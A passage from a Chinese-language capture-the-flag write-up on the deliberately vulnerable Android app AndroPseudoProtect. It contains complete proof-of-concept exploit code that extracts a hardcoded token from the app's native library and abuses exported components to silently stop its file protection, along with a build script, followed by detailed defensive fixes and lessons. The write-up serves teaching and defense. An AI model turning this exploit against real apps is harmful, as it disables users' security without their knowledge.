    echo "    $POST_ATTACK"
fi
```

执行结果：

```
[*] Step 1: Starting victim's security protection...
    Starting service: Intent { act=...START_SECURITY ... }
[*] Step 2: Verifying security service is running...
    isForeground=true
[*] Step 3: ATTACKING - Sending STOP_SECURITY broadcast...
    Broadcasting: Intent { act=...STOP_SECURITY ... }
    Broadcast completed: result=0
[*] Step 4: Verifying attack success...
    [+] SUCCESS: Security service stopped! Files decrypted!
```

攻击完成。用户全程无需任何操作，安全保护已被静默禁用。

## 第六章：最终 Exploit 代码

这一章提供完整的 PoC 源码和构建脚本。PoC APK 包含三个功能：运行时提取 token、发送 STOP 广播、自动攻击模式。

### 6.1 ExploitActivity.java

```java
package com.exploit.andropseudoprotect;

import android.app.Activity;
import android.content.ComponentName;
import android.content.Intent;
import android.content.pm.ApplicationInfo;
import android.os.Bundle;
import android.util.Log;
import android.widget.Button;
import android.widget.ScrollView;
import android.widget.TextView;

import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.util.zip.ZipEntry;
import java.util.zip.ZipInputStream;

/**
 * AndroPseudoProtect Exploit PoC
 *
 * 漏洞利用链：
 * 1. SecurityReceiver exported=true，无 permission 保护
 * 2. SecurityService exported=true，无 permission 保护
 * 3. Token 硬编码在 native library 中
 *
 * 攻击流程：
 * 1. 从 victim APK 中提取 libsecurity-native.so
 * 2. 搜索 "8ksec" 前缀字符串找到 token
 * 3. 发送 STOP_SECURITY broadcast 或 startService
 */
public class ExploitActivity extends Activity {

    private static final String TAG = "ExploitPoC";
    private static final String VICTIM_PACKAGE =
        "com.eightksec.andropseudoprotect";
    private static final String ACTION_STOP_SECURITY =
        "com.eightksec.andropseudoprotect.STOP_SECURITY";
    private static final String EXTRA_SECURITY_TOKEN =
        "security_token";

    // 要在 .so 中搜索的 token 前缀
    private static final String TOKEN_PREFIX = "8ksec";

    // 尝试从 APK 中提取的 .so 路径（按优先级排序）
    private static final String[] SO_PATHS = {
        "lib/arm64-v8a/libsecurity-native.so",
        "lib/x86_64/libsecurity-native.so",
        "lib/x86/libsecurity-native.so",
        "lib/armeabi-v7a/libsecurity-native.so"
    };

    private TextView tvStatus;
    private TextView tvToken;
    private TextView tvLog;
    private ScrollView scrollLog;
    private String extractedToken = null;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_exploit);

        tvStatus = findViewById(R.id.tvStatus);
        tvToken = findViewById(R.id.tvToken);
        tvLog = findViewById(R.id.tvLog);
        scrollLog = (ScrollView) tvLog.getParent();

        Button btnExtract = findViewById(R.id.btnExtractToken);
        Button btnStop = findViewById(R.id.btnStopSecurity);
        Button btnAuto = findViewById(R.id.btnAutoExploit);

        btnExtract.setOnClickListener(v -> extractToken());

        btnStop.setOnClickListener(v -> {
            if (extractedToken == null) {
                log("ERROR: Token not extracted yet. Run Step 1 first.");
                return;
            }
            disableSecurity(extractedToken);
        });

        btnAuto.setOnClickListener(v -> autoExploit());

        log("PoC initialized. Target: " + VICTIM_PACKAGE);
        log("Device API: " + android.os.Build.VERSION.SDK_INT);
        log("");
        log("Vulnerability Summary:");
        log("- SecurityReceiver: exported=true (no permission guard)");
        log("- SecurityService: exported=true (no permission guard)");
        log("- Token hardcoded in native .so library");
        log("");
        log("Ready. Click a button to begin exploitation.");
    }

    // ==========================================
    // Step 1: Token 提取
    // ==========================================

    /**
     * 从 victim APK 的 native library 中提取 security token。
     *
     * 原理：
     * 1. 通过 PackageManager 获取 victim APK 路径
     * 2. APK 是 ZIP 格式，用 ZipInputStream 读取 .so 文件
     * 3. 在 .so 二进制数据中搜索 "8ksec" 前缀的可打印字符串
     */
    private void extractToken() {
        log("=== Step 1: Extracting Security Token ===");

        try {
            // 获取 victim APK 在设备上的完整路径
            ApplicationInfo appInfo = getPackageManager()
                .getApplicationInfo(VICTIM_PACKAGE, 0);
            String apkPath = appInfo.sourceDir;
            log("Victim APK path: " + apkPath);

            // 尝试从 APK 中提取 .so 文件（多种架构）
            byte[] soData = null;
            for (String soPath : SO_PATHS) {
                soData = extractSoFromApk(apkPath, soPath);
                if (soData != null) {
                    log("Extracted from: " + soPath);
                    break;
                }
            }

            if (soData == null) {
                log("ERROR: Could not extract .so from APK");
                tvStatus.setText("Failed to extract .so");
                return;
            }

            log("Extracted .so size: " + soData.length + " bytes");

            // 在二进制数据中搜索 token
            String token = findToken(soData, TOKEN_PREFIX.getBytes());

            if (token != null) {
                extractedToken = token;
                tvToken.setText("Token: " + token);
                tvStatus.setText("Token extracted successfully!");
                log("SUCCESS: Security token = " + token);
                log("");
                log("Token is hardcoded in native library and can be");
                log("extracted by any app with storage access permissions.");
            } else {
                log("ERROR: Could not find token pattern in .so");
                tvStatus.setText("Token not found");
            }

        } catch (Exception e) {
            log("ERROR: " + e.getMessage());
            tvStatus.setText("Error: " + e.getMessage());
        }
    }

    /**
     * 从 APK (ZIP 格式) 中提取指定 .so 文件的原始字节
     */
    private byte[] extractSoFromApk(String apkPath, String entryName) {
        try (ZipInputStream zis = new ZipInputStream(
                new FileInputStream(apkPath))) {
            ZipEntry entry;
            while ((entry = zis.getNextEntry()) != null) {
                if (entry.getName().equals(entryName)) {
                    ByteArrayOutputStream baos =
                        new ByteArrayOutputStream();
                    byte[] buffer = new byte[8192];
                    int len;
                    while ((len = zis.read(buffer)) != -1) {
                        baos.write(buffer, 0, len);
                    }
                    return baos.toByteArray();
                }
            }
        } catch (Exception e) {
            Log.w(TAG, "Failed to extract " + entryName, e);
        }
        return null;
    }

    /**
     * 在二进制数据中搜索以指定前缀开头的可打印 ASCII 字符串。
     *
     * 算法：线性扫描，找到前缀后向右延伸直到遇到非可打印字符。
     * 过滤长度在 15-60 之间的候选（token 的合理长度范围）。
     */
    private String findToken(byte[] data, byte[] prefix) {
        for (int i = 0; i <= data.length - prefix.length; i++) {
            boolean match = true;
            for (int j = 0; j < prefix.length; j++) {
                if (data[i + j] != prefix[j]) {
                    match = false;
                    break;
                }
            }

            if (match) {
                StringBuilder sb = new StringBuilder();
                int pos = i;
                while (pos < data.length &&
                       data[pos] >= 0x20 && data[pos] < 0x7f) {
                    sb.append((char) data[pos]);
                    pos++;
                }

                String candidate = sb.toString();
                if (candidate.length() >= 15 && candidate.length() <= 60) {
                    return candidate;
                }
            }
        }
        return null;
    }

    // ==========================================
    // Step 2: 发送攻击 Intent
    // ==========================================

    /**
     * 利用提取到的 token，通过 exported 组件发送 STOP_SECURITY 指令。
     *
     * 两种攻击向量：
     * 1. sendBroadcast → SecurityReceiver（exported, 无 permission）
     * 2. startService → SecurityService（exported, 无 permission）
     */
    private void disableSecurity(String token) {
        log("=== Step 2: Disabling Security ===");

        // 攻击向量 1：通过 exported SecurityReceiver
        log("Vector 1: Sending STOP_SECURITY broadcast...");
        Intent stopIntent = new Intent(ACTION_STOP_SECURITY);
        stopIntent.putExtra(EXTRA_SECURITY_TOKEN, token);
        stopIntent.setComponent(new ComponentName(
            VICTIM_PACKAGE,
            VICTIM_PACKAGE + ".SecurityReceiver"));
        sendBroadcast(stopIntent);
        log("Broadcast sent to SecurityReceiver.");

        // 攻击向量 2：通过 exported SecurityService（备选）
        try {
            log("Vector 2: Sending STOP_SECURITY via startService...");
            Intent serviceIntent = new Intent();
            serviceIntent.setPackage(VICTIM_PACKAGE);
            serviceIntent.setAction(ACTION_STOP_SECURITY);
            serviceIntent.putExtra(EXTRA_SECURITY_TOKEN, token);
            startService(serviceIntent);
            log("startService sent to SecurityService.");
        } catch (Exception e) {
            log("startService fallback: " + e.getMessage());
        }

        tvStatus.setText("Exploit executed! Security should be disabled.");
        log("");
        log("RESULT: If victim's security service was running,");
        log("it should now be stopped and all encrypted files");
        log("will be decrypted on the external storage.");
        log("");
        log("This was done without any victim interaction.");
    }

    // ==========================================
    // 自动攻击模式
    // ==========================================

    private void autoExploit() {
        log("=== Auto Exploit Started ===");
        extractToken();

        if (extractedToken != null) {
            tvLog.postDelayed(() -> disableSecurity(extractedToken), 500);
        } else {
            log("Auto exploit failed: could not extract token");
            tvStatus.setText("Auto exploit failed");
        }
    }

    // ==========================================
    // UI 工具方法
    // ==========================================

    private void log(String message) {
        tvLog.append(message + "\n");
        tvLog.post(() -> scrollLog.fullScroll(ScrollView.FOCUS_DOWN));
        Log.d(TAG, message);
    }
}
```

### 6.2 AndroidManifest.xml

```xml
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.exploit.andropseudoprotect">

    <!-- 仅需要标准存储权限来读取 victim APK -->
    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />

    <application
        android:allowBackup="true"
        android:label="Exploit PoC"
        android:theme="@android:style/Theme.Material.Light.DarkActionBar"
        android:requestLegacyExternalStorage="true">

        <activity
            android:name=".ExploitActivity"
            android:exported="true">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
    </application>
</manifest>
```

### 6.3 一键构建脚本

```bash
#!/bin/bash
# build_poc.sh — 手动编译 PoC APK（不需要 Gradle）

set -e

BT=~/Library/Android/sdk/build-tools/36.0.0
PLATFORM=~/Library/Android/sdk/platforms/android-35/android.jar
POC_DIR="AndroPseudoProtectExploit"

echo "[1/6] Cleaning..."
rm -rf build && mkdir -p build/gen build/obj build/dex

echo "[2/6] Compiling resources..."
$BT/aapt2 compile --dir app/src/main/res -o build/resources.zip

echo "[3/6] Linking resources..."
$BT/aapt2 link \
    -o build/resources.apk \
    --manifest app/src/main/AndroidManifest.xml \
    --java build/gen \
    -I $PLATFORM \
    --auto-add-overlay \
    build/resources.zip

echo "[4/6] Compiling Java sources..."
javac -source 1.8 -target 1.8 \
    -classpath $PLATFORM \
    -sourcepath app/src/main/java:build/gen \
    -d build/obj \
    app/src/main/java/com/exploit/andropseudoprotect/ExploitActivity.java \
    build/gen/com/exploit/andropseudoprotect/R.java

echo "[5/6] Converting to DEX..."
$BT/d8 --lib $PLATFORM \
    --output build/dex \
    $(find build/obj -name "*.class")

echo "[6/6] Packaging..."
cp build/resources.apk build/exploit.apk
cd build/dex && zip ../exploit.apk classes.dex && cd -
$BT/zipalign -f 4 build/exploit.apk build/exploit-aligned.apk
$BT/apksigner sign \
    --ks ~/.android/debug.keystore \
    --ks-pass pass:android \
    --out AndroPseudoProtectExploit.apk \
    build/exploit-aligned.apk

echo "Build complete: AndroPseudoProtectExploit.apk"
ls -la AndroPseudoProtectExploit.apk
```

## 第七章：如何防御

这一章针对每个漏洞点给出具体的防御方案。每个防御措施都是独立有效的——实施任意一个都能阻断攻击链。

### 7.1 漏洞→防御映射

| 漏洞 | 防御措施 | 效果 |
|------|---------|------|
| Receiver/Service exported 无 permission | 使用 signature 级 permission | ✅ 攻击者无法触发组件 |
| Token 硬编码在 .so 中 | 运行时动态生成 token | ✅ 攻击者无法提取固定 token |
| 仅靠 token 比对认证 | 增加 sender 验证 | ✅ 即使 token 泄露也能拦截 |
| 无 attacker 身份检查 | 验证 calling UID/包名 | ✅ 只允许自家应用调用 |

### 7.2 防御方案一：自定义 Signature Permission（最推荐）

这是最简单也最有效的防御——用 Android 的 permission 机制保护 exported 组件：

```xml
<!-- AndroidManifest.xml -->

<!-- 声明自定义 permission，protectionLevel="signature"
     只有同一签名密钥签名的应用才能获得此权限 -->
<permission
    android:name="com.eightksec.andropseudoprotect.PERMISSION_SECURITY"
    android:protectionLevel="signature"/>

<!-- 声明需要使用此 permission -->
<uses-permission
    android:name="com.eightksec.andropseudoprotect.PERMISSION_SECURITY"/>

<application ...>

    <!-- Service：添加 android:permission -->
    <service
        android:exported="true"
        android:permission="com.eightksec.andropseudoprotect.PERMISSION_SECURITY"
        android:foregroundServiceType="dataSync"
        android:name=".SecurityService"/>

    <!-- Receiver：添加 android:permission -->
    <receiver
        android:exported="true"
        android:permission="com.eightksec.andropseudoprotect.PERMISSION_SECURITY"
        android:name=".SecurityReceiver">
        <intent-filter>
            <action android:name="com.eightksec.andropseudoprotect.START_SECURITY"/>
            <action android:name="com.eightksec.andropseudoprotect.STOP_SECURITY"/>
        </intent-filter>
    </receiver>

</application>
```

**为什么有效**：`protectionLevel="signature"` 意味着只有用同一签名密钥签名的应用才能获取这个权限。攻击者的 PoC 用的是不同的签名密钥（debug keystore），因此无法获得此权限，发送的 Intent 会被系统直接拒绝。

### 7.3 防御方案二：不导出组件（如果不需要外部调用）

如果 Receiver 和 Service 只需要被自家应用内部调用，最安全的做法是直接设为 `exported=false`：

```xml
<!-- 不需要外部访问 → 不要导出 -->
<service
    android:exported="false"
    android:name=".SecurityService"/>

<receiver
    android:exported="false"
    android:name=".SecurityReceiver"/>
```

如果 `SecurityReceiver` 需要接收系统广播（如开机启动），可以保持 exported 但加上 permission 保护。

### 7.4 防御方案三：运行时验证调用者

即使组件必须 exported，也可以在代码中验证调用者身份：

```java
// SecurityService.java
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
    // 验证调用者包名
    String callingPackage = getCallingPackage(this);
    if (!"com.eightksec.andropseudoprotect".equals(callingPackage)) {
        Log.w(TAG, "Rejected call from: " + callingPackage);
        return START_NOT_STICKY;
    }

    // 原有的 token 验证...
}

@Nullable
private String getCallingPackage(Context context) {
    // 通过 Binder 获取调用者 UID，再查找对应的包名
    int callingUid = Binder.getCallingUid();
    String[] packages = context.getPackageManager()
        .getPackagesForUid(callingUid);
    if (packages != null && packages.length > 0) {
        return packages[0];
    }
    return null;
}
```

### 7.5 防御方案四：动态生成 Token

即使攻击者能触发组件，如果 token 不是固定的，攻击也会失败：

```java
// SecurityUtils.java — 改进版
public final class SecurityUtils {
    // 不再是 native 方法，不再硬编码
    public final String getSecurityToken() {
        // 方案 A：使用 Android Keystore 生成随机 token
        // 方案 B：基于设备唯一信息 + 时间戳动态计算
        // 方案 C：使用对称加密保护 token，密钥存在 Keystore 中
        return generateDynamicToken();
    }

    private String generateDynamicToken() {
        // 使用 Android Keystore 存储密钥
        // Token = AES_Encrypt(device_id + timestamp + random_nonce, keystore_key)
        // 每次启动生成不同的 token
        ...
    }
}
```

### 7.6 Native Library 加固

如果必须在 native library 中存储敏感数据，至少要做以下加固：

| 措施 | 说明 | 效果 |
|------|------|------|
| 字符串混淆 | 编译时将字符串拆散为字符数组 | `strings` 无法直接提取 |
| 运行时组装 | 在运行时才拼接出完整字符串 | 静态分析失效 |
| 白盒加密 | 将密钥嵌入加密运算中 | 即使逆向也很难提取 |
| 完整性校验 | 检测 .so 是否被篡改 | 防止 patch |

示例——简单的字符串混淆：

```c
// 原始写法（不安全）
const char* token = "<redacted_security_token>";

// 混淆后（编译后 strings 看不到完整 token）
char token[30];
token[0] = '8'; token[1] = 'k'; token[2] = 's'; token[3] = 'e';
token[4] = 'c'; token[5] = '_'; token[6] = 'S'; token[7] = '3';
// ... 或者用 XOR 编码
char encoded[] = {0x3a, 0x2f, 0x17, 0x25, 0x2c, ...}; // XOR 0x52
for (int i = 0; i < sizeof(encoded); i++) {
    token[i] = encoded[i] ^ 0x52;
}
```

但请注意：这些措施只能增加攻击难度，不能从根本上解决问题。**真正的安全来自正确的架构设计，而不是靠混淆。**

### 7.7 加密机制改进建议

当前加密方案也有改进空间：

| 问题 | 当前实现 | 改进方案 |
|------|---------|---------|
| 密钥种子硬编码 | `"8ksec_secure_seed"` | 使用 Android Keystore 生成随机密钥 |
| 密钥种子含时间戳 | `seed + currentTimeMillis()/1000` | 密钥完全随机，存储在 Keystore 中 |
| IV 随机但和密钥同源 | 用同一个 SecureRandom | IV 和密钥使用独立的随机源 |
| 解密不需要额外认证 | 有 key 就能解密 | 增加 key derivation step（用户 PIN） |

## 第八章：总结

### 8.1 核心教训

回顾这道题，有三个关键教训：

**教训 1：Android 组件的 `exported` 属性不是摆设**

很多开发者习惯性地将所有组件设为 `exported=true`（或因为 intent-filter 在旧版 Android 上默认 exported），但没意识到这等于给所有应用开了一个公开的 API 入口。**每设置一个 `exported=true` 的组件，都应该问自己：我真的需要让其他应用触发它吗？如果需要，我有没有加 permission 保护？**

**教训 2：把秘密放在 native library 中不等于安全**

这道题的 token 放在 JNI native 方法中，开发者可能认为 C/C++ 代码比 Java 更难逆向。但一条 `strings` 命令就暴露了秘密。**Security by obscurity 不是安全。** 如果攻击者能通过简单方法（如字符串搜索）获取你的秘密，那不管藏在哪里都不安全。

**教训 3：认证 token 应该是动态的、与上下文绑定的**

即使 token 不硬编码，一个静态的、可复用的 token 也有问题——一旦泄露就永久失效。更好的做法是使用动态 token（每次会话不同）或绑定调用者身份的 token。

### 8.2 攻击链回顾

```
┌─────────────────────────────────────────────────────────────────┐
│                     Attack Chain Summary                         │
├─────────────────────────────────────────────────────────────────┤
│                                                                  │
│  [Recon] 静态分析                                                 │
│    ├─ apktool d → AndroidManifest.xml                            │
│    │   └─ 发现 SecurityReceiver + SecurityService exported       │
│    ├─ jadx → Java 源码                                           │
│    │   └─ 发现 token 验证逻辑在 onStartCommand() 中               │
│    └─ strings libsecurity-native.so                              │
│        └─ 发现 token: <redacted_security_token>               │
│                                                                  │
│  [Weaponize] 构建 PoC                                             │
│    ├─ 从 victim APK 中运行时提取 .so → 搜索 token                │
│    ├─ 构造 STOP_SECURITY intent（携带 token）                     │
│    └─ aapt2 + javac + d8 手动编译 PoC APK                        │
│                                                                  │
│  [Deliver] 安装 PoC                                               │
│    └─ adb install AndroPseudoProtectExploit.apk                  │
│                                                                  │
│  [Exploit] 触发攻击                                               │
│    └─ am broadcast → SecurityReceiver → SecurityService           │
│        └─ stopSecurity() → cancelEncryption + startDecryption    │
│                                                                  │
│  [Impact] 后果                                                    │
│    ├─ 安全服务停止                                                │
│    ├─ 所有加密文件被解密                                          │
│    └─ 用户不知情                                                  │
│                                                                  │
└─────────────────────────────────────────────────────────────────┘
```

### 8.3 工具链

| 工具 | 用途 | 本题中的关键发现 |
|------|------|----------------|
| apktool | APK 解包 + 资源反编译 | 发现 exported 组件（Manifest 分析） |
| jadx | DEX → Java 反编译 | 理解 token 验证逻辑和攻击流程 |
| strings | 二进制字符串提取 | 直接找到硬编码 token |
| adb | 设备通信 + 攻击验证 | 验证攻击成功（dumpsys 确认服务停止） |
| aapt2 | 资源编译 | 构建 PoC APK |
| javac + d8 | Java → DEX 编译 | 构建 PoC APK |
| zipalign + apksigner | APK 对齐 + 签名 | 构建 PoC APK |

### 8.4 关键时间线

| 阶段 | 耗时 | 关键动作 |
|------|------|---------|
| 静态分析 | ~3 min | apktool + jadx + strings → 发现全部 3 个漏洞 |
| PoC 开发 | ~4 min | 编写 Java 代码 + 手动编译 APK |
| 攻击验证 | ~1 min | 安装 PoC → 发送广播 → 确认服务停止 |

**总计约 8 分钟**——从零到完整攻击验证。其中最关键的发现（硬编码 token）只用了 1 秒钟（一条 `strings` 命令）。

### 8.5 可复用的方法论

这道题的分析方法论可以应用于任何 Android 应用安全审计：

1. **Manifest 先行**：先看 AndroidManifest.xml，找 exported 组件
2. **关注 exported 组件的 permission 保护**：有 intent-filter 的组件默认 exported（旧版 Android），必须检查
3. **追踪认证链**：找到认证逻辑后，逆推认证材料的来源
4. **Native 不等于安全**：`.so` 文件用 `strings` 扫一遍总是值得的
5. **验证攻击可行性**：用 `am broadcast` / `am startservice` 在 shell 中快速验证，不需要写 PoC

### 8.6 参考资源

- [Android Developer: Permissions](https://developer.android.com/guide/topics/permissions/overview)
- [Android Developer: Exported Components](https://developer.android.com/guide/components/fundamentals#Components)
- [OWASP Mobile Security Testing Guide: Android IPC](https://owasp.org/www-project-mobile-security-testing-guide/)
- [Android Security: Intent Security](https://developer.android.com/training/basics/intents/security)
